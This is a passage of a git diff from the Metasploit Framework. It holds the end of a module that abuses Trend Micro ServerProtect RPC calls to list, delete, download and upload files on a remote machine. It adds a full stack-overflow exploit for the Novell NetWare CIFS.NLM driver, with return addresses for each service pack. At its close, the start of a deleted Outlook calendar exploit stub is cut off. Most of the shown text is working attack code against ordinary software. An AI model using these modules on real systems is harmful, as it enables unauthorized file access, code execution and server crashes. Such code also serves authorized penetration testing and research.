cmd_download(datastore['RPATH'], datastore['LPATH']) + when 'upload' + check_option('RPATH') + check_option('LPATH') + cmd_upload(datastore['RPATH'], datastore['LPATH']) + when 'delete' + check_option('RPATH') + cmd_delete(datastore['RPATH']) + when 'list' + check_option('RPATH') + cmd_list(datastore['RPATH']) + else + print_error("Unknown action #{action.name}") + end + end + + def deunicode(str) + str.gsub(/\x00/, '').strip + end + + # + # Once this function is used, if cmd_download or cmd_upload is called the server will crash :/ + # + def cmd_list(*args) + + if (args.length < 1) + print_status("Usage: list folder") + return + end + + file = Rex::Text.to_unicode(args[0]) + + data = "\0" * 0x100 + data[4, file.length] = file + + # FindFirstFile + resp = serverprotect_rpccmd(131080, data, 0x100) + return if not resp + + if resp.length != 0x108 + print_status("An unknown error occured while calling FindFirstFile.") + return + end + + + ret, = resp[0x104,4].unpack('V') + if ret != 0 + print_status("An error occurred while calling FindFirstFile #{args[0]}: #{ret}.") + return + end + + handle, = resp[4,4].unpack('V') + + file = deunicode(resp[0x30, 0xd0]) + print("#{file}\n") + + data = "\0" * 0x100 + data[0,4] = [handle].pack('V') + + while true + # FindNextFile + resp = serverprotect_rpccmd(131081, data, 0x100) + return if not resp + + if resp.length != 0x108 + print_status("An unknown error occured while calling FindFirstFile.") + break + end + + ret, = resp[0x104,4].unpack('V') + if ret != 0 + break + end + + file = deunicode(resp[0x30, 0xd0]) + print("#{file}\n") + end + + data = "\0" * 0x100 + data = [handle].pack('V') + # FindClose + resp = serverprotect_rpccmd(131082, data, 0x100) + end + + + def cmd_delete(*args) + + if (args.length == 0) + print_status("Usage: delete c:\\windows\\system.ini") + return + end + + data = Rex::Text.to_unicode(args[0]+"\0") + resp = serverprotect_rpccmd(131077, data, 4) + return if not resp + + if (resp.length == 12) + ret, = resp[8,4].unpack('V') + + if ret == 0 + print_status("File #{args[0]} successfuly deleted.") + else + print_status("An error occurred while deleting #{args[0]}: #{ret}.") + end + end + + end + + + def cmd_download(*args) + + if (args.length < 2) + print_status("Usage: download remote_file local_file") + return + end + + # GENERIC_READ: 0x80000000 + # FILE_SHARE_READ: 1 + # OPEN_EXISTING: 3 + # FILE_ATTRIBUTE_NORMAL: 0x80 + handle = serverprotect_createfile(args[0], 0x80000000, 1, 3, 0x80) + if (not handle or handle == 0) + return + end + + fd = File.new(args[1], "wb") + + print_status("Downloading #{args[0]}...") + + # reads 0x1000 bytes (hardcoded in the soft) + while ((data = serverprotect_readfile(handle)).length > 0) + fd.write(data) + end + + fd.close + + serverprotect_closehandle(handle) + + print_status("File #{args[0]} successfuly downloaded.") + end + + + def cmd_upload(*args) + + if (args.length < 2) + print_status("Usage: upload local_file remote_file") + return + end + + # GENERIC_WRITE: 0x40000000 + # FILE_SHARE_WRITE: 2 + # CREATE_ALWAYS: 2 + # FILE_ATTRIBUTE_NORMAL: 0x80 + handle = serverprotect_createfile(args[1], 0x40000000, 2, 2, 0x80) + if (handle == 0) + return + end + + fd = File.new(args[0], "rb") + + print_status("Uploading #{args[1]}...") + + # write 0x1000 bytes (hardcoded in the soft) + while ((data = fd.read(0x1000)) != nil) + serverprotect_writefile(handle, data) + end + + fd.close + + serverprotect_closehandle(handle) + + print_status("File #{args[1]} successfuly uploaded.") + end + + + def serverprotect_createfile(file, desiredaccess, sharemode, creationdisposition, flags) + data = "\0" * 540 + file = Rex::Text.to_unicode(file) + data[4, file.length] = file + data[524, 16] = [desiredaccess, sharemode, creationdisposition, flags].pack('VVVV') + + resp = serverprotect_rpccmd(131073, data, 540) + return if not resp + + if (resp.length < 548) + print_status("An unknown error occurred while calling CreateFile.") + return 0 + else + handle, = resp[4,4].unpack('V') + ret, = resp[544,4].unpack('V') + + if ret != 0 + print_status("An error occured while calling CreateFile: #{ret}.") + return 0 + else + return handle + end + end + end + + + def serverprotect_readfile(handle) + data = "\0" * 4104 + data[0, 4] = [handle].pack('V') + + resp = serverprotect_rpccmd(131075, data, 4104) + return if not resp + + if (resp.length != 4112) + print_status("An unknown error occurred while calling ReadFile.") + return '' + else + ret, = resp[4108,4].unpack('V') + + if ret != 0 + print_status("An error occured while calling CreateFile: #{ret}.") + return '' + else + br, = resp[4104, 4].unpack('V') + return resp[8, br] + end + end + end + + + def serverprotect_writefile(handle, buf) + data = "\0" * 4104 + data[0, 4] = [handle].pack('V') + data[4, buf.length] = buf + data[4100, 4] = [buf.length].pack('V') + + resp = serverprotect_rpccmd(131076, data, 4104) + return if not resp + + if (resp.length != 4112) + print_status("An unknown error occurred while calling WriteFile.") + return 0 + else + ret, = resp[4108,4].unpack('V') + + if ret != 0 + print_status("An error occured while calling WriteFile: #{ret}.") + return 0 + end + end + + return 1 + end + + + def serverprotect_closehandle(handle) + data = [handle].pack('V') + + resp = serverprotect_rpccmd(131074, data, 4) + return if not resp + + if (resp.length != 12) + print_status("An unknown error occurred while calling CloseHandle.") + else + ret, = resp[8,4].unpack('V') + + if ret != 0 + print_status("An error occured while calling CloseHandle: #{ret}.") + end + end + end + + + def serverprotect_rpccmd(cmd, data, osize) + if (data.length.remainder(4) != 0) + padding = "\0" * (4 - (data.length.remainder(4))) + else + padding = "" + end + + stub = + NDR.long(cmd) + + NDR.long(data.length) + + data + + padding + + NDR.long(data.length) + + NDR.long(osize) + + return serverprotect_rpc_call(0, stub) + end + + # + # Call the serverprotect RPC service + # + def serverprotect_rpc_call(opnum, data = '') + + begin + + connect + + handle = dcerpc_handle( + '25288888-bd5b-11d1-9d53-0080c83a5c2c', '1.0', + 'ncacn_ip_tcp', [datastore['RPORT']] + ) + + dcerpc_bind(handle) + + resp = dcerpc.call(opnum, data) + outp = '' + + if (dcerpc.last_response and dcerpc.last_response.stub_data) + outp = dcerpc.last_response.stub_data + end + + disconnect + + outp + + rescue ::Interrupt + raise $! + rescue ::Exception => e + print_error("Error: #{e}") + nil + end + end + +end +end diff --git a/modules/exploits/netware/smb/lsass_cifs.rb b/modules/exploits/netware/smb/lsass_cifs.rb new file mode 100644 index 0000000000..4d9cb30b43 --- /dev/null +++ b/modules/exploits/netware/smb/lsass_cifs.rb @@ -0,0 +1,129 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/projects/Framework/ +## + + +require 'msf/core' + +module Msf + +class Exploits::Netware::Smb::LsassCifs < Msf::Exploit::Remote + + include Exploit::Remote::DCERPC + include Exploit::Remote::SMB + + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Novell NetWare LSASS CIFS.NLM Driver Stack Overflow', + 'Description' => %q{ + This module exploits a stack overflow in the NetWare CIFS.NLM driver. + Since the driver runs in the kernel space, a failed exploit attempt can + cause the OS to reboot. + }, + 'Author' => + [ + 'toto', + ], + 'License' => MSF_LICENSE, + 'Version' => '$Revision$', + 'References' => + [ + ], + 'Privileged' => true, + 'Payload' => + { + 'Space' => 400, + 'BadChars' => "\x00", + }, + 'Platform' => 'netware', + 'Targets' => + [ + # NetWare SP can be found in the SNMP version : + # 5.70.07 -> NetWare 6.5 (5.70) SP7 (07) + + [ 'VMware', { 'Ret' => 0x000f142b } ], + [ 'NetWare 6.5 SP2', { 'Ret' => 0xb2329b98 } ], # push esp - ret (libc.nlm) + [ 'NetWare 6.5 SP3', { 'Ret' => 0xb234a268 } ], # push esp - ret (libc.nlm) + [ 'NetWare 6.5 SP4', { 'Ret' => 0xbabc286c } ], # push esp - ret (libc.nlm) + [ 'NetWare 6.5 SP5', { 'Ret' => 0xbabc9c3c } ], # push esp - ret (libc.nlm) + [ 'NetWare 6.5 SP6', { 'Ret' => 0x823c835c } ], # push esp - ret (libc.nlm) + [ 'NetWare 6.5 SP7', { 'Ret' => 0x823c83fc } ], # push esp - ret (libc.nlm) + ], + + 'DisclosureDate' => 'Jan 21 2007')) + + register_options( + [ + OptString.new('SMBPIPE', [ true, "The pipe name to use (LSARPC)", 'lsarpc']) + ], self.class) + + end + + def exploit + + # Force multi-bind off (netware doesn't support it) + datastore['DCERPC::fake_bind_multi'] = false + + connect() + smb_login() + + handle = dcerpc_handle('12345778-1234-abcd-ef00-0123456789ab', '0.0', 'ncacn_np', ["\\#{datastore['SMBPIPE']}"]) + + print_status("Binding to #{handle} ...") + dcerpc_bind(handle) + print_status("Bound to #{handle} ...") + + stb = + NDR.long(rand(0xffffffff)) + + NDR.UnicodeConformantVaryingString("\\\\#{datastore['RHOST']}") + + NDR.long(0) + + NDR.long(0) + + NDR.long(0) + + NDR.long(0) + + NDR.long(0) + + NDR.long(0) + + NDR.long(0x000f0fff) + + resp = dcerpc.call(0x2c, stb) + handle, = resp[0,20] + code, = resp[20, 4].unpack('V') + + name = + rand_text_alphanumeric(0xa0) + + [target.ret].pack('V') + + payload.encoded + + stb = + handle + + NDR.long(1) + + NDR.long(1) + + + NDR.short(name.length) + + NDR.short(name.length) + + NDR.long(rand(0xffffffff)) + + + NDR.UnicodeConformantVaryingStringPreBuilt(name) + + + NDR.long(0) + + NDR.long(0) + + NDR.long(1) + + NDR.long(0) + + print_status("Calling the vulnerable function ...") + + begin + dcerpc.call(0x0E, stb) + rescue => e + end + + # Cleanup + handler + disconnect + end + +end +end diff --git a/modules/exploits/private/README.txt b/modules/exploits/private/README.txt deleted file mode 100644 index 395ec015c7..0000000000 --- a/modules/exploits/private/README.txt +++ /dev/null @@ -1 +0,0 @@ -Modules in this directory are not accessible to read-only SVN users. diff --git a/modules/exploits/private/killahbee_outlook.r_b b/modules/exploits/private/killahbee_outlook.r_b deleted file mode 100755 index 16d613bbdf..0000000000 --- a/modules/exploits/private/killahbee_outlook.r_b +++ /dev/null @@ -1,133 +0,0 @@ -#!/usr/bin/env ruby - -# -# Important section: -# -# BEGIN:VEVENT -# DTSTAMP:20060509T194627Z -# DTSTART;TZID:20060509T150000 -# END:VEVENT -# -# the DTSTART;TZID line requires the following form to be valid: -# DTSTART;TZID="timezone info goes here":